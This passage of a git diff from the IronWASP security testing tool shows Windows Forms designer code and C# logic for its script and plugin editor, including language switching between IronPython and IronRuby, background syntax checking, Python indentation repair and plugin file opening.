this.NewPyFormatPluginToolStripMenuItem, + this.NewRbFormatPluginToolStripMenuItem}); + this.NewFormatPluginToolStripMenuItem.Name = "NewFormatPluginToolStripMenuItem"; + this.NewFormatPluginToolStripMenuItem.Size = new System.Drawing.Size(150, 22); + this.NewFormatPluginToolStripMenuItem.Text = "Format Plugin"; + // + // NewPyFormatPluginToolStripMenuItem + // + this.NewPyFormatPluginToolStripMenuItem.Name = "NewPyFormatPluginToolStripMenuItem"; + this.NewPyFormatPluginToolStripMenuItem.Size = new System.Drawing.Size(112, 22); + this.NewPyFormatPluginToolStripMenuItem.Text = "Python"; + this.NewPyFormatPluginToolStripMenuItem.Click += new System.EventHandler(this.NewPyFormatPluginToolStripMenuItem_Click); + // + // NewRbFormatPluginToolStripMenuItem + // + this.NewRbFormatPluginToolStripMenuItem.Name = "NewRbFormatPluginToolStripMenuItem"; + this.NewRbFormatPluginToolStripMenuItem.Size = new System.Drawing.Size(112, 22); + this.NewRbFormatPluginToolStripMenuItem.Text = "Ruby"; + this.NewRbFormatPluginToolStripMenuItem.Click += new System.EventHandler(this.NewRbFormatPluginToolStripMenuItem_Click); + // + // NewScriptFileToolStripMenuItem + // + this.NewScriptFileToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.NewPyScriptFileToolStripMenuItem, + this.NewRbScriptFileToolStripMenuItem}); + this.NewScriptFileToolStripMenuItem.Name = "NewScriptFileToolStripMenuItem"; + this.NewScriptFileToolStripMenuItem.Size = new System.Drawing.Size(150, 22); + this.NewScriptFileToolStripMenuItem.Text = "Script"; + // + // NewPyScriptFileToolStripMenuItem + // + this.NewPyScriptFileToolStripMenuItem.Name = "NewPyScriptFileToolStripMenuItem"; + this.NewPyScriptFileToolStripMenuItem.Size = new System.Drawing.Size(112, 22); + this.NewPyScriptFileToolStripMenuItem.Text = "Python"; + this.NewPyScriptFileToolStripMenuItem.Click += new System.EventHandler(this.NewPyScriptFileToolStripMenuItem_Click); + // + // NewRbScriptFileToolStripMenuItem + // + this.NewRbScriptFileToolStripMenuItem.Name = "NewRbScriptFileToolStripMenuItem"; + this.NewRbScriptFileToolStripMenuItem.Size = new System.Drawing.Size(112, 22); + this.NewRbScriptFileToolStripMenuItem.Text = "Ruby"; + this.NewRbScriptFileToolStripMenuItem.Click += new System.EventHandler(this.NewRbScriptFileToolStripMenuItem_Click); + // + // OpenFileToolStripMenuItem + // + this.OpenFileToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.ActivePluginToolStripMenuItem, + this.passivePluginToolStripMenuItem1, + this.formatPluginToolStripMenuItem1, + this.sessionPluginToolStripMenuItem1, + this.otherToolStripMenuItem}); + this.OpenFileToolStripMenuItem.Name = "OpenFileToolStripMenuItem"; + this.OpenFileToolStripMenuItem.Size = new System.Drawing.Size(69, 20); + this.OpenFileToolStripMenuItem.Text = "Open File"; + // + // ActivePluginToolStripMenuItem + // + this.ActivePluginToolStripMenuItem.Name = "ActivePluginToolStripMenuItem"; + this.ActivePluginToolStripMenuItem.Size = new System.Drawing.Size(150, 22); + this.ActivePluginToolStripMenuItem.Text = "Active Plugin"; + this.ActivePluginToolStripMenuItem.Click += new System.EventHandler(this.ActivePluginToolStripMenuItem_Click); + // + // passivePluginToolStripMenuItem1 + // + this.passivePluginToolStripMenuItem1.Name = "passivePluginToolStripMenuItem1"; + this.passivePluginToolStripMenuItem1.Size = new System.Drawing.Size(150, 22); + this.passivePluginToolStripMenuItem1.Text = "Passive Plugin"; + this.passivePluginToolStripMenuItem1.Click += new System.EventHandler(this.passivePluginToolStripMenuItem1_Click); + // + // formatPluginToolStripMenuItem1 + // + this.formatPluginToolStripMenuItem1.Name = "formatPluginToolStripMenuItem1"; + this.formatPluginToolStripMenuItem1.Size = new System.Drawing.Size(150, 22); + this.formatPluginToolStripMenuItem1.Text = "Format Plugin"; + this.formatPluginToolStripMenuItem1.Click += new System.EventHandler(this.formatPluginToolStripMenuItem1_Click); + // + // sessionPluginToolStripMenuItem1 + // + this.sessionPluginToolStripMenuItem1.Name = "sessionPluginToolStripMenuItem1"; + this.sessionPluginToolStripMenuItem1.Size = new System.Drawing.Size(150, 22); + this.sessionPluginToolStripMenuItem1.Text = "Session Plugin"; + this.sessionPluginToolStripMenuItem1.Click += new System.EventHandler(this.sessionPluginToolStripMenuItem1_Click); + // + // otherToolStripMenuItem + // + this.otherToolStripMenuItem.Name = "otherToolStripMenuItem"; + this.otherToolStripMenuItem.Size = new System.Drawing.Size(150, 22); + this.otherToolStripMenuItem.Text = "Other"; + this.otherToolStripMenuItem.Click += new System.EventHandler(this.otherToolStripMenuItem_Click); + // + // SaveWorkToolStripMenuItem + // + this.SaveWorkToolStripMenuItem.Name = "SaveWorkToolStripMenuItem"; + this.SaveWorkToolStripMenuItem.Size = new System.Drawing.Size(43, 20); + this.SaveWorkToolStripMenuItem.Text = "Save"; + this.SaveWorkToolStripMenuItem.Click += new System.EventHandler(this.SaveWorkToolStripMenuItem_Click); + // + // SaveAsStripMenuItem + // + this.SaveAsStripMenuItem.Name = "SaveAsStripMenuItem"; + this.SaveAsStripMenuItem.Size = new System.Drawing.Size(59, 20); + this.SaveAsStripMenuItem.Text = "Save As"; + this.SaveAsStripMenuItem.Click += new System.EventHandler(this.SaveAsStripMenuItem_Click); + // + // LanguageToolStripMenuItem + // + this.LanguageToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.IronPythonToolStripMenuItem, + this.IronRubyToolStripMenuItem}); + this.LanguageToolStripMenuItem.Name = "LanguageToolStripMenuItem"; + this.LanguageToolStripMenuItem.Size = new System.Drawing.Size(90, 20); + this.LanguageToolStripMenuItem.Text = "Set Language"; + // + // IronPythonToolStripMenuItem + // + this.IronPythonToolStripMenuItem.Name = "IronPythonToolStripMenuItem"; + this.IronPythonToolStripMenuItem.Size = new System.Drawing.Size(133, 22); + this.IronPythonToolStripMenuItem.Text = "IronPython"; + this.IronPythonToolStripMenuItem.Click += new System.EventHandler(this.IronPythonToolStripMenuItem_Click); + // + // IronRubyToolStripMenuItem + // + this.IronRubyToolStripMenuItem.Name = "IronRubyToolStripMenuItem"; + this.IronRubyToolStripMenuItem.Size = new System.Drawing.Size(133, 22); + this.IronRubyToolStripMenuItem.Text = "IronRuby"; + this.IronRubyToolStripMenuItem.Click += new System.EventHandler(this.IronRubyToolStripMenuItem_Click); + // + // CheckSyntaxF5ToolStripMenuItem + // + this.CheckSyntaxF5ToolStripMenuItem.Name = "CheckSyntaxF5ToolStripMenuItem"; + this.CheckSyntaxF5ToolStripMenuItem.Size = new System.Drawing.Size(112, 20); + this.CheckSyntaxF5ToolStripMenuItem.Text = "Check Syntax - F5"; + this.CheckSyntaxF5ToolStripMenuItem.Click += new System.EventHandler(this.CheckSyntaxF5ToolStripMenuItem_Click); + // + // FixPythonIndentationToolStripMenuItem + // + this.FixPythonIndentationToolStripMenuItem.Name = "FixPythonIndentationToolStripMenuItem"; + this.FixPythonIndentationToolStripMenuItem.Size = new System.Drawing.Size(141, 20); + this.FixPythonIndentationToolStripMenuItem.Text = "Fix Python Indentation "; + this.FixPythonIndentationToolStripMenuItem.Visible = false; + this.FixPythonIndentationToolStripMenuItem.Click += new System.EventHandler(this.FixPythonIndentationToolStripMenuItem_Click); + // + // PluginEditorAPISplit + // + this.PluginEditorAPISplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.PluginEditorAPISplit.Location = new System.Drawing.Point(0, 0); + this.PluginEditorAPISplit.Margin = new System.Windows.Forms.Padding(0); + this.PluginEditorAPISplit.Name = "PluginEditorAPISplit"; + this.PluginEditorAPISplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // PluginEditorAPISplit.Panel1 + // + this.PluginEditorAPISplit.Panel1.Controls.Add(this.PluginEditorAPITreeTabs); + // + // PluginEditorAPISplit.Panel2 + // + this.PluginEditorAPISplit.Panel2.Controls.Add(this.PluginEditorAPIDetailsRTB); + this.PluginEditorAPISplit.Size = new System.Drawing.Size(208, 562); + this.PluginEditorAPISplit.SplitterDistance = 305; + this.PluginEditorAPISplit.SplitterWidth = 2; + this.PluginEditorAPISplit.TabIndex = 2; + // + // PluginEditorAPITreeTabs + // + this.PluginEditorAPITreeTabs.Controls.Add(this.PluginEditorPythonAPITreeTab); + this.PluginEditorAPITreeTabs.Controls.Add(this.PluginEditorRubyAPITreeTab); + this.PluginEditorAPITreeTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.PluginEditorAPITreeTabs.Location = new System.Drawing.Point(0, 0); + this.PluginEditorAPITreeTabs.Margin = new System.Windows.Forms.Padding(0); + this.PluginEditorAPITreeTabs.Name = "PluginEditorAPITreeTabs"; + this.PluginEditorAPITreeTabs.Padding = new System.Drawing.Point(0, 0); + this.PluginEditorAPITreeTabs.SelectedIndex = 0; + this.PluginEditorAPITreeTabs.Size = new System.Drawing.Size(208, 305); + this.PluginEditorAPITreeTabs.TabIndex = 0; + // + // PluginEditorPythonAPITreeTab + // + this.PluginEditorPythonAPITreeTab.Controls.Add(this.PluginEditorPythonAPITree); + this.PluginEditorPythonAPITreeTab.Location = new System.Drawing.Point(4, 22); + this.PluginEditorPythonAPITreeTab.Margin = new System.Windows.Forms.Padding(0); + this.PluginEditorPythonAPITreeTab.Name = "PluginEditorPythonAPITreeTab"; + this.PluginEditorPythonAPITreeTab.Size = new System.Drawing.Size(200, 279); + this.PluginEditorPythonAPITreeTab.TabIndex = 0; + this.PluginEditorPythonAPITreeTab.Text = "Python"; + this.PluginEditorPythonAPITreeTab.UseVisualStyleBackColor = true; + // + // PluginEditorPythonAPITree + // + this.PluginEditorPythonAPITree.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.PluginEditorPythonAPITree.Dock = System.Windows.Forms.DockStyle.Fill; + this.PluginEditorPythonAPITree.Location = new System.Drawing.Point(0, 0); + this.PluginEditorPythonAPITree.Margin = new System.Windows.Forms.Padding(0); + this.PluginEditorPythonAPITree.Name = "PluginEditorPythonAPITree"; + this.PluginEditorPythonAPITree.Size = new System.Drawing.Size(200, 279); + this.PluginEditorPythonAPITree.TabIndex = 0; + this.PluginEditorPythonAPITree.AfterSelect += new System.Windows.Forms.TreeViewEventHandler(this.PluginEditorPythonAPITree_AfterSelect); + // + // PluginEditorRubyAPITreeTab + // + this.PluginEditorRubyAPITreeTab.Controls.Add(this.PluginEditorRubyAPITree); + this.PluginEditorRubyAPITreeTab.Location = new System.Drawing.Point(4, 22); + this.PluginEditorRubyAPITreeTab.Margin = new System.Windows.Forms.Padding(0); + this.PluginEditorRubyAPITreeTab.Name = "PluginEditorRubyAPITreeTab"; + this.PluginEditorRubyAPITreeTab.Size = new System.Drawing.Size(200, 279); + this.PluginEditorRubyAPITreeTab.TabIndex = 1; + this.PluginEditorRubyAPITreeTab.Text = "Ruby"; + this.PluginEditorRubyAPITreeTab.UseVisualStyleBackColor = true; + // + // PluginEditorRubyAPITree + // + this.PluginEditorRubyAPITree.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.PluginEditorRubyAPITree.Dock = System.Windows.Forms.DockStyle.Fill; + this.PluginEditorRubyAPITree.Location = new System.Drawing.Point(0, 0); + this.PluginEditorRubyAPITree.Margin = new System.Windows.Forms.Padding(0); + this.PluginEditorRubyAPITree.Name = "PluginEditorRubyAPITree"; + this.PluginEditorRubyAPITree.Size = new System.Drawing.Size(200, 279); + this.PluginEditorRubyAPITree.TabIndex = 1; + this.PluginEditorRubyAPITree.AfterSelect += new System.Windows.Forms.TreeViewEventHandler(this.PluginEditorRubyAPITree_AfterSelect); + // + // PluginEditorAPIDetailsRTB + // + this.PluginEditorAPIDetailsRTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.PluginEditorAPIDetailsRTB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.PluginEditorAPIDetailsRTB.Location = new System.Drawing.Point(0, 0); + this.PluginEditorAPIDetailsRTB.Margin = new System.Windows.Forms.Padding(0); + this.PluginEditorAPIDetailsRTB.Name = "PluginEditorAPIDetailsRTB"; + this.PluginEditorAPIDetailsRTB.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.Vertical; + this.PluginEditorAPIDetailsRTB.Size = new System.Drawing.Size(208, 255); + this.PluginEditorAPIDetailsRTB.TabIndex = 0; + this.PluginEditorAPIDetailsRTB.Text = ""; + // + // PluginEditorAPIDocTabs + // + this.PluginEditorAPIDocTabs.Controls.Add(this.tabPage3); + this.PluginEditorAPIDocTabs.Controls.Add(this.tabPage4); + this.PluginEditorAPIDocTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.PluginEditorAPIDocTabs.Location = new System.Drawing.Point(0, 0); + this.PluginEditorAPIDocTabs.Margin = new System.Windows.Forms.Padding(0); + this.PluginEditorAPIDocTabs.Name = "PluginEditorAPIDocTabs"; + this.PluginEditorAPIDocTabs.Padding = new System.Drawing.Point(0, 0); + this.PluginEditorAPIDocTabs.SelectedIndex = 0; + this.PluginEditorAPIDocTabs.Size = new System.Drawing.Size(183, 210); + this.PluginEditorAPIDocTabs.TabIndex = 0; + // + // tabPage3 + // + this.tabPage3.Location = new System.Drawing.Point(4, 22); + this.tabPage3.Margin = new System.Windows.Forms.Padding(0); + this.tabPage3.Name = "tabPage3"; + this.tabPage3.Size = new System.Drawing.Size(175, 184); + this.tabPage3.TabIndex = 0; + this.tabPage3.Text = "IronPython"; + this.tabPage3.UseVisualStyleBackColor = true; + // + // tabPage4 + // + this.tabPage4.Location = new System.Drawing.Point(4, 22); + this.tabPage4.Margin = new System.Windows.Forms.Padding(0); + this.tabPage4.Name = "tabPage4"; + this.tabPage4.Size = new System.Drawing.Size(175, 184); + this.tabPage4.TabIndex = 1; + this.tabPage4.Text = "IronRuby"; + this.tabPage4.UseVisualStyleBackColor = true; + // + // PluginEditorOpenFileDialog + // + this.PluginEditorOpenFileDialog.Filter = "Python|*.py|Ruby|*.rb|All Files|*.*"; + this.PluginEditorOpenFileDialog.FilterIndex = 3; + // + // PluginEditorSaveFileDialog + // + this.PluginEditorSaveFileDialog.Title = "Save File"; + // + // PluginEditor + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(884, 562); + this.Controls.Add(this.PluginEditorBaseSplit); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "PluginEditor"; + this.Text = "Script/Plugin Editor"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.PluginEditor_FormClosing); + this.Load += new System.EventHandler(this.PluginEditor_Load); + this.PluginEditorBaseSplit.Panel1.ResumeLayout(false); + this.PluginEditorBaseSplit.Panel1.PerformLayout(); + this.PluginEditorBaseSplit.Panel2.ResumeLayout(false); + this.PluginEditorBaseSplit.ResumeLayout(false); + this.PluginEditorRightSplit.Panel1.ResumeLayout(false); + this.PluginEditorRightSplit.Panel2.ResumeLayout(false); + this.PluginEditorRightSplit.Panel2.PerformLayout(); + this.PluginEditorRightSplit.ResumeLayout(false); + this.PluginEditorMenu.ResumeLayout(false); + this.PluginEditorMenu.PerformLayout(); + this.PluginEditorAPISplit.Panel1.ResumeLayout(false); + this.PluginEditorAPISplit.Panel2.ResumeLayout(false); + this.PluginEditorAPISplit.ResumeLayout(false); + this.PluginEditorAPITreeTabs.ResumeLayout(false); + this.PluginEditorPythonAPITreeTab.ResumeLayout(false); + this.PluginEditorRubyAPITreeTab.ResumeLayout(false); + this.PluginEditorAPIDocTabs.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer PluginEditorBaseSplit; + private ICSharpCode.TextEditor.TextEditorControl PluginEditorTE; + private System.Windows.Forms.MenuStrip PluginEditorMenu; + private System.Windows.Forms.ToolStripMenuItem NewFileToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem NewActivePluginToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem NewPassivePluginToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem NewSessionPluginToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem NewFormatPluginToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem NewScriptFileToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem OpenFileToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem SaveWorkToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem LanguageToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem IronPythonToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem IronRubyToolStripMenuItem; + private System.Windows.Forms.TabControl PluginEditorAPIDocTabs; + private System.Windows.Forms.TabPage tabPage3; + private System.Windows.Forms.TabPage tabPage4; + private System.Windows.Forms.SplitContainer PluginEditorAPISplit; + private System.Windows.Forms.TabControl PluginEditorAPITreeTabs; + private System.Windows.Forms.TabPage PluginEditorPythonAPITreeTab; + internal System.Windows.Forms.TreeView PluginEditorPythonAPITree; + private System.Windows.Forms.TabPage PluginEditorRubyAPITreeTab; + internal System.Windows.Forms.TreeView PluginEditorRubyAPITree; + private System.Windows.Forms.RichTextBox PluginEditorAPIDetailsRTB; + internal System.Windows.Forms.TextBox PluginEditorErrorTB; + private System.Windows.Forms.SplitContainer PluginEditorRightSplit; + private System.Windows.Forms.OpenFileDialog PluginEditorOpenFileDialog; + private System.Windows.Forms.SaveFileDialog PluginEditorSaveFileDialog; + private System.Windows.Forms.ToolStripMenuItem ActivePluginToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem passivePluginToolStripMenuItem1; + private System.Windows.Forms.ToolStripMenuItem formatPluginToolStripMenuItem1; + private System.Windows.Forms.ToolStripMenuItem sessionPluginToolStripMenuItem1; + private System.Windows.Forms.ToolStripMenuItem otherToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem NewPyActivePluginToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem NewRbActivePluginToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem NewPyPassivePluginToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem NewRbPassivePluginToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem NewPySessionPluginToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem NewRbSessionPluginToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem NewPyFormatPluginToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem NewRbFormatPluginToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem NewPyScriptFileToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem NewRbScriptFileToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem CheckSyntaxF5ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem SaveAsStripMenuItem; + private System.Windows.Forms.Label label1; + internal System.Windows.Forms.TextBox PluginEditorSearchTB; + private System.Windows.Forms.Label MatchCountLbl; + private System.Windows.Forms.Button SearchMovePreviousBtn; + private System.Windows.Forms.Button SearchMoveNextBtn; + private System.Windows.Forms.ToolStripMenuItem FixPythonIndentationToolStripMenuItem; + } } \ No newline at end of file diff --git a/IronWASP/PluginEditor.cs b/Iron/PluginEditor.cs similarity index 97% rename from IronWASP/PluginEditor.cs rename to Iron/PluginEditor.cs index 9745ce3..eff6544 100644 --- a/IronWASP/PluginEditor.cs +++ b/Iron/PluginEditor.cs @@ -1,831 +1,831 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see . -// - -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Text; -using System.IO; -using System.Windows.Forms; -using System.Threading; -using ICSharpCode.TextEditor; -using ICSharpCode.TextEditor.Document; -using Microsoft.Scripting; -using Microsoft.Scripting.Runtime; -using Microsoft.Scripting.Hosting; -using IronPython; -using IronPython.Hosting; -using IronPython.Modules; -using IronPython.Runtime; -using IronPython.Runtime.Exceptions; -using IronRuby; -using IronRuby.Hosting; -using IronRuby.Runtime; -using IronRuby.StandardLibrary; - -namespace IronWASP -{ - public partial class PluginEditor : Form - { - static ScriptRuntime RunTime; - static ScriptEngine Engine; - static string CurrentLanguage = "py"; - internal static FileInfo OpenedFile; - internal static Thread T; - static bool Open = true; - static ManualResetEvent MRE = new ManualResetEvent(false); - - static Stack EditorTextStack = new Stack(); - - //Search Related Values - string Keyword = ""; - List MatchSpots = new List(); - int CurrentSpot = 0; - bool InResetState = true; - - public PluginEditor() - { - InitializeComponent(); - } - - private void PluginEditor_Load(object sender, EventArgs e) - { - Open = true; - - PluginEditorTE.ShowTabs = false; - PluginEditorTE.ShowEOLMarkers = false; - PluginEditorTE.ShowSpaces = false; - PluginEditorTE.ShowInvalidLines = false; - PluginEditorTE.TabIndent = 2; - - Directory.SetCurrentDirectory(Config.RootDir); - HighlightingManager.Manager.AddSyntaxModeFileProvider(new EditorSyntaxModesProvider()); - - PluginEditorTE.SetHighlighting("Python"); - ScriptRuntimeSetup Setup = new ScriptRuntimeSetup(); - Setup.LanguageSetups.Add(IronRuby.Ruby.CreateRubySetup()); - Setup.LanguageSetups.Add(IronPython.Hosting.Python.CreateLanguageSetup(null)); - RunTime = new ScriptRuntime(Setup); - Engine = RunTime.GetEngine("py"); - APIDoc.BuildPluginEditorTrees(); - PluginEditorTE.ActiveTextAreaControl.TextArea.KeyUp += new System.Windows.Forms.KeyEventHandler(this.PluginEditorTE_KeyUp); - PluginEditorTE.Document.DocumentChanged += new DocumentEventHandler(this.PluginEditorTE_Change); - } - - private void PluginEditorPythonAPITree_AfterSelect(object sender, TreeViewEventArgs e) - { - this.PluginEditorAPIDetailsRTB.Rtf = APIDoc.GetPyDecription(e.Node); - } - - private void PluginEditorRubyAPITree_AfterSelect(object sender, TreeViewEventArgs e) - { - this.PluginEditorAPIDetailsRTB.Rtf = APIDoc.GetRbDecription(e.Node); - } - - private void IronPythonToolStripMenuItem_Click(object sender, EventArgs e) - { - SetLanguageAsIronPython(); - } - - private void IronRubyToolStripMenuItem_Click(object sender, EventArgs e) - { - SetLanguageAsIronRuby(); - } - - internal void SetLanguageAsIronPython() - { - try - { - Engine = RunTime.GetEngine("py"); - Directory.SetCurrentDirectory(Config.RootDir); - PluginEditorTE.SetHighlighting("Python"); - PluginEditorTE.Refresh(); - CheckSyntax(); - CurrentLanguage = "py"; - } - catch (Exception Exp) - { - IronUI.ShowPluginCompilerError("Error Changing Language: " + Exp.Message); - } - } - - internal void SetLanguageAsIronRuby() - { - try - { - Engine = RunTime.GetEngine("rb"); - Directory.SetCurrentDirectory(Config.RootDir); - PluginEditorTE.SetHighlighting("Ruby"); - PluginEditorTE.Refresh(); - CheckSyntax(); - CurrentLanguage = "rb"; - } - catch (Exception Exp) - { - IronUI.ShowPluginCompilerError("Error Changing Language: " + Exp.Message); - } - } - - private void PluginEditorTE_KeyUp(object sender, KeyEventArgs e) - { - if (e.KeyData == Keys.Enter || e.KeyData == Keys.F5) - { - CheckSyntax(); - } - } - - private void PluginEditorTE_Change(object sender, DocumentEventArgs e) - { - ResetSearchValues(); - } - - private void PluginEditorTE_TextChanged(object sender, EventArgs e) - { - ResetSearchValues(); - } - - void CheckSyntax() - { - try - { - string EditorText = PluginEditorTE.Text; - EditorTextStack.Push(EditorText); - - if (T != null && T.ThreadState == ThreadState.WaitSleepJoin) - { - MRE.Set(); - } - else - { - T = new Thread(SyntaxChecker); - MRE.Set(); - T.Start(); - } - } - catch(Exception Exp) - { - IronException.Report("Error checking Syntax", Exp); - } - } - - void SyntaxChecker() - { - try - { - while (Open) - { - string EditorText = ""; - lock (EditorTextStack) - { - if (EditorTextStack.Count > 0) - { - - EditorText = EditorTextStack.Pop(); - EditorTextStack.Clear(); - } - } - string ErrorMessage = ""; - try - { - string IndentError = ""; - if (CurrentLanguage.Equals("py")) - { - IndentError = CheckPythonIndentation(EditorText)[0]; - } - ScriptSource Source = Engine.CreateScriptSourceFromString(EditorText); - ScriptErrorReporter CompileErrors = new ScriptErrorReporter(); - Source.Compile(CompileErrors); - ErrorMessage = CompileErrors.GetErrors(); - if (IndentError.Length > 0) - { - ErrorMessage = string.Format("{0}\r\n{1}", IndentError, ErrorMessage); - ShowHideIndentationFixMenu(true); - } - else - { - ShowHideIndentationFixMenu(false); - } - if (ErrorMessage.Length == 0) { ErrorMessage = "0"; } - } - catch (Exception Exp) - { - ErrorMessage = Exp.Message; - } - IronUI.ShowPluginCompilerError(ErrorMessage); - MRE.Reset(); - MRE.WaitOne(); - } - } - catch (ThreadAbortException) { } - catch (Exception Exp) - { - IronException.Report("Error performing Syntax checking", Exp); - } - } - - internal static string[] CheckPythonIndentation(string Code) - { - string[] Messages = new string[]{"This code uses a mix of Space and Tab characters for indentation. Because of this even if the indentation looks visually correct it could be invalid. This usually happens when you write some part of the code in one editor and some other part of the code in another editor (also happens if some code was written in the Editor of an older version of IronWASP).\r\nTo resolve this issue please click on the 'Fix Python Indentation' menu item, all tabs at the beginning of the line will be replaced by 4 space characters.", - "This code uses a mix of Space and Tab characters for indentation. Because of this even if the indentation looks visually correct it could be invalid. This usually happens when you write some part of the code in one editor and some other part of the code in another editor (also happens if some code was written in the Editor of an older version of IronWASP).\r\nTo resolve this issue please open the 'Script/Plugin Editor' from under 'Dev Tools' menu option. Paste this code in to the editor and click on 'Check Syntax'. Once you do this there will be a new menu item called 'Fix Python Indentation', click that to fix the indentation issue, all tabs at the beginning of the line will be replaced by 4 space characters."}; - - - bool TabUsed = false; - bool SpaceUsed = false; - - foreach(string Line in Code.Split(new string[]{Environment.NewLine}, StringSplitOptions.RemoveEmptyEntries)) - { - string TrimmedLine = Line.Trim(); - if (TrimmedLine.Length > 0 && !TrimmedLine.StartsWith("#")) - { - foreach (char C in Line.ToCharArray()) - { - if (C == '\t') - { - TabUsed = true; - if (SpaceUsed) - { - return Messages; - } - } - else if (C == ' ') - { - SpaceUsed = true; - if (TabUsed) - { - return Messages; - } - } - else - { - break; - } - } - } - } - return new string[]{"", ""}; - } - - internal static string FixPythonIndentation(string Code) - { - StringBuilder Result = new StringBuilder(); - foreach (string Line in Code.Split(new string[] { Environment.NewLine }, StringSplitOptions.None)) - { - if (Line.Contains("\t")) - { - bool SpacingSectionOver = false; - foreach (char C in Line.ToCharArray()) - { - if (SpacingSectionOver) - { - Result.Append(C); - } - else - { - if (C == '\t') - { - Result.Append(" "); - } - else if (C == ' ') - { - Result.Append(C); - } - else - { - Result.Append(C); - SpacingSectionOver = true; - } - } - } - } - else - { - Result.Append(Line); - } - Result.AppendLine(); - } - return Result.ToString(); - } - - private void ActivePluginToolStripMenuItem_Click(object sender, EventArgs e) - { - PluginEditorOpenFileDialog.Title = "Open an Active Plugin"; - PluginEditorOpenFileDialog.InitialDirectory = Config.RootDir + "\\plugins\\Active\\"; - while (PluginEditorOpenFileDialog.ShowDialog() == DialogResult.OK) - { - OpenedFile = new FileInfo(PluginEditorOpenFileDialog.FileName); - StreamReader Reader = new StreamReader(OpenedFile.FullName); - PluginEditorTE.Text = Reader.ReadToEnd(); - Reader.Close(); - if (OpenedFile.Name.EndsWith(".py")) - { - SetLanguageAsIronPython(); - } - else if (OpenedFile.Name.EndsWith(".rb")) - { - SetLanguageAsIronRuby(); - } - Search(); - break; - } - } - - private void passivePluginToolStripMenuItem1_Click(object sender, EventArgs e) - { - PluginEditorOpenFileDialog.Title = "Open a Passive Plugin"; - PluginEditorOpenFileDialog.InitialDirectory = Config.RootDir + "\\plugins\\Passive\\"; - while (PluginEditorOpenFileDialog.ShowDialog() == DialogResult.OK) - { - OpenedFile = new FileInfo(PluginEditorOpenFileDialog.FileName); - StreamReader Reader = new StreamReader(OpenedFile.FullName); - PluginEditorTE.Text = Reader.ReadToEnd(); - Reader.Close(); - if (OpenedFile.Name.EndsWith(".py")) - { - SetLanguageAsIronPython(); - } - else if (OpenedFile.Name.EndsWith(".rb")) - { - SetLanguageAsIronRuby(); - } - Search(); - break; - } - } - - private void formatPluginToolStripMenuItem1_Click(object sender, EventArgs e) - { - PluginEditorOpenFileDialog.Title = "Open a Format Plugin"; - PluginEditorOpenFileDialog.InitialDirectory = Config.RootDir + "\\plugins\\Format\\"; - while (PluginEditorOpenFileDialog.ShowDialog() == DialogResult.OK) - { - OpenedFile = new FileInfo(PluginEditorOpenFileDialog.FileName); - StreamReader Reader = new StreamReader(OpenedFile.FullName); - PluginEditorTE.Text = Reader.ReadToEnd(); - Reader.Close(); - if (OpenedFile.Name.EndsWith(".py")) - { - SetLanguageAsIronPython(); - } - else if (OpenedFile.Name.EndsWith(".rb")) - { - SetLanguageAsIronRuby(); - } - Search(); - break; - } - } - - private void sessionPluginToolStripMenuItem1_Click(object sender, EventArgs e) - { - PluginEditorOpenFileDialog.Title = "Open a Session Plugin"; - PluginEditorOpenFileDialog.InitialDirectory = Config.RootDir + "\\plugins\\Session\\"; - while (PluginEditorOpenFileDialog.ShowDialog() == DialogResult.OK) - { - OpenedFile = new FileInfo(PluginEditorOpenFileDialog.FileName); - StreamReader Reader = new StreamReader(OpenedFile.FullName); - PluginEditorTE.Text = Reader.ReadToEnd(); - Reader.Close(); - if 